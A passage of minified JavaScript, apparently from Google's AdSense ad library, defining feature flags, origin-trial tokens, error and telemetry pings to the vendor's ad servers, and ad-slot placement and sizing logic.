Xd(a){J.call(this,a)}v(Xd,J);Xd.prototype.getName=function(){return A(this,4)};function Yd(a){J.call(this,a)}v(Yd,J);function Zd(a){J.call(this,a)}v(Zd,J);function $d(a){J.call(this,a)}v($d,J);var ae=[1,2,3];function be(a){J.call(this,a)}v(be,J);function ce(a){J.call(this,a,-1,de)}v(ce,J);var de=[6,7,9,10,11];function ee(a){J.call(this,a,-1,fe)}v(ee,J);function ge(a){J.call(this,a)}v(ge,J);function he(a){J.call(this,a)}v(he,J);var fe=[1],ie=[1,2];function je(a){J.call(this,a,-1,ke)}v(je,J);function le(a){J.call(this,a)}v(le,J);function me(a){J.call(this,a,-1,ne)}v(me,J);function oe(a){J.call(this,a)}v(oe,J);function pe(a){J.call(this,a)}v(pe,J);function qe(a){J.call(this,a)}v(qe,J);function re(a){J.call(this,a)}v(re,J);var ke=[1,2,5,7],ne=[2,5,6,11];function se(a){J.call(this,a)}v(se,J);function te(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};function ue(a,b,c){switch(c){case 0:b.parentNode&&b.parentNode.insertBefore(a,b);break;case 3:if(c=b.parentNode){var d=b.nextSibling;if(d&&d.parentNode!=c)for(;d&&8==d.nodeType;)d=d.nextSibling;c.insertBefore(a,d)}break;case 1:b.insertBefore(a,b.firstChild);break;case 2:b.appendChild(a)}te(b)&&(b.setAttribute("data-init-display",b.style.display),b.style.display="block")};function M(a,b){this.h=a;this.defaultValue=void 0===b?!1:b}function N(a,b){this.h=a;this.defaultValue=void 0===b?0:b}function ve(a,b){b=void 0===b?[]:b;this.h=a;this.defaultValue=b};var we=new M(1084),xe=new M(1082,!0),ye=new N(62,.001),ze=new N(1130,100),Ae=new function(a,b){this.h=a;this.defaultValue=void 0===b?"":b}(14),Be=new N(1114,1),Ce=new N(1110),De=new N(1111),Ee=new N(1112),Fe=new N(1113),Ge=new N(1104),He=new N(1108),Ie=new N(1106),Je=new N(1107),Ke=new N(1105),Le=new N(1115,1),Me=new M(1121),Ne=new M(1144),Oe=new M(1143),Pe=new M(316),Qe=new M(313),Re=new M(369),Se=new M(1093),Te=new N(1098),Ue=new M(1129),Ve=new M(1128),We=new M(1026),Xe=new M(1090),Ye=new M(1053, !0),Ze=new M(1162),$e=new M(1120),af=new M(1100,!0),bf=new N(1046),cf=new M(1102,!0),df=new M(218),ef=new M(217),ff=new M(227),gf=new M(208),hf=new M(282),jf=new M(1086),kf=new N(1079,5),lf=new M(1141),mf=new ve(1939),nf=new ve(1934,["A8FHS1NmdCwGqD9DwOicnHHY+y27kdWfxKa0YHSGDfv0CSpDKRHTQdQmZVPDUdaFWUsxdgVxlwAd6o+dhJykPA0AAACWeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9", "A8zdXi6dr1hwXEUjQrYiyYQGlU3557y5QWDnN0Lwgj9ePt66XMEvNkVWOEOWPd7TP9sBQ25X0Q15Lr1Nn4oGFQkAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9","A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"]), of=new M(203),pf=new M(434462125),qf=new M(84),rf=new M(1928),sf=new M(1941),tf=new M(370946349),uf=new M(392736476,!0),vf=new N(406149835),wf=new ve(1932,["AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=","Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9","AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="]),xf=new N(1935);function O(a){var b="sa";if(a.sa&&a.hasOwnProperty(b))return a.sa;b=new a;return a.sa=b};function yf(){var a={};this.i=function(b,c){return null!=a[b]?a[b]:c};this.j=function(b,c){return null!=a[b]?a[b]:c};this.l=function(b,c){return null!=a[b]?a[b]:c};this.h=function(b,c){return null!=a[b]?a[b]:c};this.m=function(){}}function P(a){return O(yf).i(a.h,a.defaultValue)}function Q(a){return O(yf).j(a.h,a.defaultValue)}function zf(){return O(yf).l(Ae.h,Ae.defaultValue)};function Af(a,b,c){function d(f){f=Bf(f);return null==f?!1:c>f}function e(f){f=Bf(f);return null==f?!1:c<f}switch(b){case 0:return{init:Cf(a.previousSibling,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 2:return{init:Cf(a.lastChild,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 3:return{init:Cf(a.nextSibling,d),ja:function(f){return Cf(f.nextSibling,d)},na:3};case 1:return{init:Cf(a.firstChild,d),ja:function(f){return Cf(f.nextSibling,d)},na:3}}throw Error("Un-handled RelativePosition: "+ b);}function Bf(a){return a.hasOwnProperty("google-ama-order-assurance")?a["google-ama-order-assurance"]:null}function Cf(a,b){return a&&b(a)?a:null};var Df={rectangle:1,horizontal:2,vertical:4};function Ef(a,b){a.google_image_requests||(a.google_image_requests=[]);var c=Mc("IMG",a.document);c.src=b;a.google_image_requests.push(c)}function Ff(a){var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=dtt_err";Sc(a,function(c,d){c&&(b+="&"+d+"="+encodeURIComponent(c))});Gf(b)}function Gf(a){var b=window;b.fetch?b.fetch(a,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"}):Ef(b,a)};function Hf(){this.j="&";this.i={};this.l=0;this.h=[]}function If(a,b){var c={};c[a]=b;return[c]}function Jf(a,b,c,d,e){var f=[];Sc(a,function(g,h){(g=Kf(g,b,c,d,e))&&f.push(h+"="+g)});return f.join(b)} function Kf(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(Kf(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(Jf(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))} function Lf(a,b){var c="https://pagead2.googlesyndication.com"+b,d=Mf(a)-b.length;if(0>d)return"";a.h.sort(function(m,q){return m-q});b=null;for(var e="",f=0;f<a.h.length;f++)for(var g=a.h[f],h=a.i[g],k=0;k<h.length;k++){if(!d){b=null==b?g:b;break}var l=Jf(h[k],a.j,",$");if(l){l=e+l;if(d>=l.length){d-=l.length;c+=l;e=a.j;break}b=null==b?g:b}}a="";null!=b&&(a=e+"trn="+b);return c+a}function Mf(a){var b=1,c;for(c in a.i)b=c.length>b?c.length:b;return 3997-b-a.j.length-1};function Nf(){this.h=Math.random()}function Of(){var a=Pf,b=w.google_srt;0<=b&&1>=b&&(a.h=b)}function Qf(a,b,c,d,e){if((d?a.h:Math.random())<(e||.01))try{if(c instanceof Hf)var f=c;else f=new Hf,Sc(c,function(h,k){var l=f,m=l.l++;h=If(k,h);l.h.push(m);l.i[m]=h});var g=Lf(f,"/pagead/gen_204?id="+b+"&");g&&Ef(w,g)}catch(h){}};var Rf={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5};function Sf(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledInAsfe={};this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.tagSpecificState={};this.messageValidationEnabled=!1;this.floatingAdsStacking=new Tf;this.sideRailProcessedFixedElements=new p.Set;this.sideRailAvailableSpace=new p.Map} function Uf(a){a.google_reactive_ads_global_state?(null==a.google_reactive_ads_global_state.sideRailProcessedFixedElements&&(a.google_reactive_ads_global_state.sideRailProcessedFixedElements=new p.Set),null==a.google_reactive_ads_global_state.sideRailAvailableSpace&&(a.google_reactive_ads_global_state.sideRailAvailableSpace=new p.Map)):a.google_reactive_ads_global_state=new Sf;return a.google_reactive_ads_global_state} function Tf(){this.maxZIndexRestrictions={};this.nextRestrictionId=0;this.maxZIndexListeners=[]};function Vf(a){a=a.document;var b={};a&&(b="CSS1Compat"==a.compatMode?a.documentElement:a.body);return b||{}}function Wf(a){return Vf(a).clientWidth};function Xf(a){return null!==a&&void 0!==a}function Yf(a,b){if(!b(a))throw Error(String(a));};function Zf(a){return"string"===typeof a}function $f(a){return void 0===a};function ag(a){J.call(this,a,-1,bg)}v(ag,J);var bg=[2,8],cg=[3,4,5],dg=[6,7];var eg;eg={Kb:0,Ya:3,Za:4,$a:5};var fg=eg.Ya,gg=eg.Za,hg=eg.$a;function ig(a){return null!=a?!a:a}function jg(a,b){for(var c=!1,d=0;d<a.length;d++){var e=a[d]();if(e===b)return e;null==e&&(c=!0)}if(!c)return!b}function kg(a,b){var c=H(a,ag,2);if(!c.length)return lg(a,b);a=C(a,1,0);if(1===a)return ig(kg(c[0],b));c=Ta(c,function(d){return function(){return kg(d,b)}});switch(a){case 2:return jg(c,!1);case 3:return jg(c,!0)}} function lg(a,b){var c=Cb(a,cg);a:{switch(c){case fg:var d=Hb(a,3,cg);break a;case gg:d=Hb(a,4,cg);break a;case hg:d=Hb(a,5,cg);break a}d=void 0}if(d&&(b=(b=b[c])&&b[d])){try{var e=b.apply(null,ka(wb(a,8)))}catch(f){return}b=C(a,1,0);if(4===b)return!!e;d=null!=e;if(5===b)return d;if(12===b)a=I(a,Db(a,dg,7));else a:{switch(c){case gg:a=yb(a,Db(a,dg,6));break a;case hg:a=I(a,Db(a,dg,7));break a}a=void 0}if(null!=a){if(6===b)return e===a;if(9===b)return null!=e&&0===Ka(String(e),a);if(d)switch(b){case 7:return e< a;case 8:return e>a;case 12:return Zf(a)&&Zf(e)&&(new RegExp(a)).test(e);case 10:return null!=e&&-1===Ka(String(e),a);case 11:return null!=e&&1===Ka(String(e),a)}}}}function mg(a,b){return!a||!(!b||!kg(a,b))};function ng(a){J.call(this,a,-1,og)}v(ng,J);var og=[4];function pg(a){J.call(this,a)}v(pg,J);function qg(a){J.call(this,a,-1,rg)}v(qg,J);var rg=[5],sg=[1,2,3,6,7];function tg(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:4,message:b}})))}function ug(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:7,message:b}})))};function vg(a){return function(){var b=ta.apply(0,arguments);try{return a.apply(this,b)}catch(c){}}}var wg=vg(function(a){var b=[],c={};a=u(a);for(var d=a.next();!d.done;c={ea:c.ea},d=a.next())c.ea=d.value,vg(function(e){return function(){b.push('[{"'+e.ea.Xa+'":'+Lb(e.ea.message)+"}]")}}(c))();return"[["+b.join(",")+"]]"});function xg(a,b){if(p.globalThis.fetch)p.globalThis.fetch(a,{method:"POST",body:b,keepalive:65536>b.length,credentials:"omit",mode:"no-cors",redirect:"follow"});else{var c=new XMLHttpRequest;c.open("POST",a,!0);c.send(b)}};function yg(a){var b=void 0===b?xg:b;this.l=void 0===a?1E3:a;this.j=b;this.i=[];this.h=null}yg.prototype.Sa=function(){var a=ta.apply(0,arguments),b=this;vg(function(){b.i.push.apply(b.i,ka(a));var c=vg(function(){var d=wg(b.i);b.j("https://pagead2.googlesyndication.com/pagead/ping?e=1",d);b.i=[];b.h=null});100<=b.i.length?(null!==b.h&&clearTimeout(b.h),b.h=setTimeout(c,0)):null===b.h&&(b.h=setTimeout(c,b.l))})()};function zg(a){J.call(this,a,-1,Ag)}v(zg,J);function Bg(a,b){return Eb(a,1,b)}function Cg(a,b){return Gb(a,2,b)}function Dg(a,b){return zb(a,4,b)}function Eg(a,b){return Gb(a,5,b)}function Fg(a,b){return Ab(a,6,b)}function Gg(a){J.call(this,a)}v(Gg,J);Gg.prototype.V=function(){return C(this,1,0)};function Hg(a,b){return Ab(a,1,b)}function Ig(a,b){return Ab(a,2,b)}function Jg(a){J.call(this,a)}v(Jg,J);var Ag=[2,4,5],Kg=[1,2];function Lg(a){J.call(this,a,-1,Mg)}v(Lg,J);function Ng(a){J.call(this,a,-1,Og)}v(Ng,J);var Mg=[2,3],Og=[5],Pg=[1,2,3,4];function Qg(a){J.call(this,a)}v(Qg,J);Qg.prototype.getTagSessionCorrelator=function(){return C(this,2,0)};function Rg(a){var b=new Qg;return Fb(b,4,Sg,a)}var Sg=[4,5,7];function Tg(a,b,c){var d=void 0===d?new yg(b):d;this.i=a;this.m=c;this.j=d;this.h=[];this.l=0<this.i&&Rc()<1/this.i}function Yg(a,b,c,d,e,f){var g=Ig(Hg(new Gg,b),c);b=Fg(Cg(Bg(Eg(Dg(new zg,d),e),g),a.h),f);b=Rg(b);a.l&&tg(a.j,Zg(a,b));if(1===f||3===f||4===f&&!a.h.some(function(h){return h.V()===g.V()&&C(h,2,0)===c}))a.h.push(g),100<a.h.length&&a.h.shift()}function $g(a,b,c,d){if(a.m){var e=new Lg;b=Gb(e,2,b);c=Gb(b,3,c);d&&Ab(c,1,d);d=new Qg;d=Fb(d,7,Sg,c);a.l&&tg(a.j,Zg(a,d))}} function Zg(a,b){b=Ab(b,1,Date.now());var c=fd(window);b=Ab(b,2,c);return Ab(b,6,a.i)};function ah(){var a={};this.h=(a[fg]={},a[gg]={},a[hg]={},a)};var bh=/^true$/.test("false");function ch(a,b){switch(b){case 1:return Hb(a,1,sg);case 2:return Hb(a,2,sg);case 3:return Hb(a,3,sg);case 6:return Hb(a,6,sg);default:return null}}function dh(a,b){if(!a)return null;switch(b){case 1:return D(a,1);case 7:return I(a,3);case 2:return yb(a,2);case 3:return I(a,3);case 6:return wb(a,4);default:return null}}var eh=vc(function(){if(!bh)return{};try{var a=window.sessionStorage&&window.sessionStorage.getItem("GGDFSSK");if(a)return JSON.parse(a)}catch(b){}return{}}); function fh(a,b,c,d){var e=d=void 0===d?0:d,f,g;O(gh).j[e]=null!=(g=null==(f=O(gh).j[e])?void 0:f.add(b))?g:(new p.Set).add(b);e=eh();if(null!=e[b])return e[b];b=hh(d)[b];if(!b)return c;b=new qg(b);b=ih(b);a=dh(b,a);return null!=a?a:c}function ih(a){var b=O(ah).h;if(b){var c=Wa(H(a,pg,5),function(d){return mg(G(d,ag,1),b)});if(c)return G(c,ng,2)}return G(a,ng,4)}function gh(){this.i={};this.l=[];this.j={};this.h=new p.Map}function jh(a,b,c){return!!fh(1,a,void 0===b?!1:b,c)} function kh(a,b,c){b=void 0===b?0:b;a=Number(fh(2,a,b,c));return isNaN(a)?b:a}function lh(a,b,c){return fh(3,a,void 0===b?"":b,c)}function mh(a,b,c){b=void 0===b?[]:b;return fh(6,a,b,c)}function hh(a){return O(gh).i[a]||(O(gh).i[a]={})}function nh(a,b){var c=hh(b);Sc(a,function(d,e){return c[e]=d})} function oh(a,b,c,d,e){e=void 0===e?!1:e;var f=[],g=[];Ra(b,function(h){var k=hh(h);Ra(a,function(l){var m=Cb(l,sg),q=ch(l,m);if(q){var t,y,F;var z=null!=(F=null==(t=O(gh).h.get(h))?void 0:null==(y=t.get(q))?void 0:y.slice(0))?F:[];a:{t=new Ng;switch(m){case 1:Bb(t,1,Pg,q);break;case 2:Bb(t,2,Pg,q);break;case 3:Bb(t,3,Pg,q);break;case 6:Bb(t,4,Pg,q);break;default:m=void 0;break a}zb(t,5,z);m=t}if(z=m){var E;z=!(null==(E=O(gh).j[h])||!E.has(q))}z&&f.push(m);if(E=m){var S;E=!(null==(S=O(gh).h.get(h))|| !S.has(q))}E&&g.push(m);e||(S=O(gh),S.h.has(h)||S.h.set(h,new p.Map),S.h.get(h).has(q)||S.h.get(h).set(q,[]),d&&S.h.get(h).get(q).push(d));k[q]=l.toJSON()}})});(f.length||g.length)&&$g(c,f,g,null!=d?d:void 0)}function ph(a,b){var c=hh(b);Ra(a,function(d){var e=new qg(d),f=Cb(e,sg);(e=ch(e,f))&&(c[e]||(c[e]=d))})}function qh(){return Ta(r(Object,"keys").call(Object,O(gh).i),function(a){return Number(a)})}function rh(a){Xa(O(gh).l,a)||nh(hh(4),a)};function sh(a){this.methodName=a}var th=new sh(1),uh=new sh(16),vh=new sh(15),wh=new sh(2),xh=new sh(3),yh=new sh(4),zh=new sh(5),Ah=new sh(6),Bh=new sh(7),Ch=new sh(8),Dh=new sh(9),Eh=new sh(10),Fh=new sh(11),Gh=new sh(12),Hh=new sh(13),Ih=new sh(14);function Jh(a,b,c){c.hasOwnProperty(a.methodName)||Object.defineProperty(c,String(a.methodName),{value:b})}function Kh(a,b,c){return b[a.methodName]||c||function(){}} function Lh(a){Jh(zh,jh,a);Jh(Ah,kh,a);Jh(Bh,lh,a);Jh(Ch,mh,a);Jh(Hh,ph,a);Jh(vh,rh,a)}function Mh(a){Jh(yh,function(b){O(ah).h=b},a);Jh(Dh,function(b,c){var d=O(ah);d.h[fg][b]||(d.h[fg][b]=c)},a);Jh(Eh,function(b,c){var d=O(ah);d.h[gg][b]||(d.h[gg][b]=c)},a);Jh(Fh,function(b,c){var d=O(ah);d.h[hg][b]||(d.h[hg][b]=c)},a);Jh(Ih,function(b){for(var c=O(ah),d=u([fg,gg,hg]),e=d.next();!e.done;e=d.next())e=e.value,r(Object,"assign").call(Object,c.h[e],b[e])},a)} function Nh(a){a.hasOwnProperty("init-done")||Object.defineProperty(a,"init-done",{value:!0})};function Oh(){this.l=function(){};this.i=function(){};this.j=function(){};this.h=function(){return[]}}function Ph(a,b,c){a.l=Kh(th,b,function(){});a.j=function(d){Kh(wh,b,function(){return[]})(d,c)};a.h=function(){return Kh(xh,b,function(){return[]})(c)};a.i=function(d){Kh(uh,b,function(){})(d,c)}};function Qh(a,b){var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message||"";this.id=b.id||"jserror";this.meta=c}function Rh(a){return!!(a.error&&a.meta&&a.id)};var Sh=RegExp("^https?://(\\w|-)+\\.cdn\\.ampproject\\.(net|org)(\\?|/|$)");function Th(a,b){this.h=a;this.i=b}function Uh(a,b,c){this.url=a;this.u=b;this.La=!!c;this.depth=null};var Vh=null;function Wh(){if(null===Vh){Vh="";try{var a="";try{a=w.top.location.hash}catch(c){a=w.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Vh=b?b[1]:""}}catch(c){}}return Vh};function Xh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):Date.now()}function Yh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now?a.now():null};function Zh(a,b){var c=Yh()||Xh();this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=Math.random();this.slotId=void 0};var $h=w.performance,ai=!!($h&&$h.mark&&$h.measure&&$h.clearMarks),bi=vc(function(){var a;if(a=ai)a=Wh(),a=!!a.indexOf&&0<=a.indexOf("1337");return a});function ci(){this.i=[];this.j=w||w;var a=null;w&&(w.google_js_reporting_queue=w.google_js_reporting_queue||[],this.i=w.google_js_reporting_queue,a=w.google_measure_js_timing);this.h=bi()||(null!=a?a:1>Math.random())} function di(a){a&&$h&&bi()&&($h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_start"),$h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_end"))}ci.prototype.start=function(a,b){if(!this.h)return null;a=new Zh(a,b);b="goog_"+a.label+"_"+a.uniqueId+"_start";$h&&bi()&&$h.mark(b);return a};ci.prototype.end=function(a){if(this.h&&"number"===typeof a.value){a.duration=(Yh()||Xh())-a.value;var b="goog_"+a.label+"_"+a.uniqueId+"_end";$h&&bi()&&$h.mark(b);!this.h||2048<this.i.length||this.i.push(a)}};function ei(){var a=fi;this.m=Pf;this.i=null;this.l=this.I;this.h=void 0===a?null:a;this.j=!1}n=ei.prototype;n.Ua=function(a){this.l=a};n.Ta=function(a){this.i=a};n.Va=function(a){this.j=a};n.oa=function(a,b,c){try{if(this.h&&this.h.h){var d=this.h.start(a.toString(),3);var e=b();this.h.end(d)}else e=b()}catch(h){b=!0;try{di(d),b=this.l(a,new Qh(h,{message:gi(h)}),void 0,c)}catch(k){this.I(217,k)}if(b){var f,g;null==(f=window.console)||null==(g=f.error)||g.call(f,h)}else throw h;}return e}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}}; n.I=function(a,b,c,d,e){e=e||"jserror";try{var f=new Hf;f.h.push(1);f.i[1]=If("context",a);Rh(b)||(b=new Qh(b,{message:gi(b)}));if(b.msg){var g=b.msg.substring(0,512);f.h.push(2);f.i[2]=If("msg",g)}var h=b.meta||{};if(this.i)try{this.i(h)}catch(Jc){}if(d)try{d(h)}catch(Jc){}b=[h];f.h.push(3);f.i[3]=b;d=w;b=[];g=null;do{var k=d;if(Hc(k)){var l=k.location.href;g=k.document&&k.document.referrer||null}else l=g,g=null;b.push(new Uh(l||"",k));try{d=k.parent}catch(Jc){d=null}}while(d&&k!=d);l=0;for(var m= b.length-1;l<=m;++l)b[l].depth=m-l;k=w;if(k.location&&k.location.ancestorOrigins&&k.location.ancestorOrigins.length==b.length-1)for(m=1;m<b.length;++m){var q=b[m];q.url||(q.url=k.location.ancestorOrigins[m-1]||"",q.La=!0)}var t=new Uh(w.location.href,w,!1);k=null;var y=b.length-1;for(q=y;0<=q;--q){var F=b[q];!k&&Sh.test(F.url)&&(k=F);if(F.url&&!F.La){t=F;break}}F=null;var z=b.length&&b[y].url;0!=t.depth&&z&&(F=b[y]);var E=new Th(t,F);if(E.i){var S=E.i.url||"";f.h.push(4);f.i[4]=If("top",S)}var rb= {url:E.h.url||""};if(E.h.url){var Kc=E.h.url.match(Ec),Ug=Kc[1],Vg=Kc[3],Wg=Kc[4];t="";Ug&&(t+=Ug+":");Vg&&(t+="//",t+=Vg,Wg&&(t+=":"+Wg));var Xg=t}else Xg="";rb=[rb,{url:Xg}];f.h.push(5);f.i[5]=rb;Qf(this.m,e,f,this.j,c)}catch(Jc){try{Qf(this.m,e,{context:"ecmserr",rctx:a,msg:gi(Jc),url:E&&E.h.url},this.j,c)}catch(zp){}}return!0};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})}; function gi(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;try{-1==a.indexOf(b)&&(a=b+"\n"+a);for(var c;a!=c;)c=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(d){}}return b};var hi=ja(["https://www.googletagservices.com/console/host/host.js"]),ii=ja(["https://www.googletagservices.com/console/panel/index.html"]),ji=ja(["https://www.googletagservices.com/console/overlay/index.html"]);nd(hi);nd(ii);nd(ji);function ki(a,b){do{var c=Nc(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0};function li(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=K(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}function mi(a,b){return!((Yc.test(b.google_ad_width)||Xc.test(a.style.width))&&(Yc.test(b.google_ad_height)||Xc.test(a.style.height)))}function ni(a,b){return(a=oi(a,b))?a.y:0} function oi(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();return{x:d.left-c.left,y:d.top-c.top}}catch(e){return null}}function pi(a){var b=0,c;for(c in Df)-1!=a.indexOf(c)&&(b|=Df[c]);return b} function qi(a,b,c,d,e){if(a!==a.top)return Ic(a)?3:16;if(!(488>Wf(a)))return 4;if(!(a.innerHeight>=a.innerWidth))return 5;var f=Wf(a);if(!f||(f-c)/f>d)a=6;else{if(c="true"!=e.google_full_width_responsive)a:{c=Wf(a);for(b=b.parentElement;b;b=b.parentElement)if((d=Nc(b,a))&&(e=K(d.width))&&!(e>=c)&&"visible"!=d.overflow){c=!0;break a}c=!1}a=c?7:!0}return a} function ri(a,b,c,d){var e=qi(b,c,a,.3,d);!0!==e?a=e:"true"==d.google_full_width_responsive||ki(c,b)?(b=Wf(b),a=b-a,a=b&&0<=a?!0:b?-10>a?11:0>a?14:12:10):a=9;return a}function si(a,b,c){a=a.style;"rtl"==b?a.marginRight=c:a.marginLeft=c} function ti(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=Nc(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1}function ui(a,b,c){a=oi(b,a);return"rtl"==c?-a.x:a.x} function vi(a,b){var c;c=(c=b.parentElement)?(c=Nc(c,a))?c.direction:"":"";if(c){b.style.border=b.style.borderStyle=b.style.outline=b.style.outlineStyle=b.style.transition="none";b.style.borderSpacing=b.style.padding="0";si(b,c,"0px");b.style.width=Wf(a)+"px";if(0!==ui(a,b,c)){si(b,c,"0px");var d=ui(a,b,c);si(b,c,-1*d+"px");a=ui(a,b,c);0!==a&&a!==d&&si(b,c,d/(a-d)*d+"px")}b.style.zIndex=30}};function wi(a,b){this.l=a;this.j=b}wi.prototype.minWidth=function(){return this.l};wi.prototype.height=function(){return this.j};wi.prototype.h=function(a){return 300<a&&300<this.j?this.l:Math.min(1200,Math.round(a))};wi.prototype.i=function(){};function xi(a,b,c,d){d=void 0===d?function(f){return f}:d;var e;return a.style&&a.style[c]&&d(a.style[c])||(e=Nc(a,b))&&e[c]&&d(e[c])||null}function yi(a){return function(b){return b.minWidth()<=a}}function zi(a,b,c,d){var e=a&&Ai(c,b),f=Bi(b,d);return function(g){return!(e&&g.height()>=f)}}function Ci(a){return function(b){return b.height()<=a}}function Ai(a,b){return ni(a,b)<Vf(b).clientHeight-100} function Di(a,b){var c=xi(b,a,"height",K);if(c)return c;var d=b.style.height;b.style.height="inherit";c=xi(b,a,"height",K);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&K(b.style.height))&&(c=Math.min(c,d)),(d=xi(b,a,"maxHeight",K))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Bi(a,b){var c=0==pd(a);return b&&c?Math.max(250,2*Vf(a).clientHeight/3):250};var 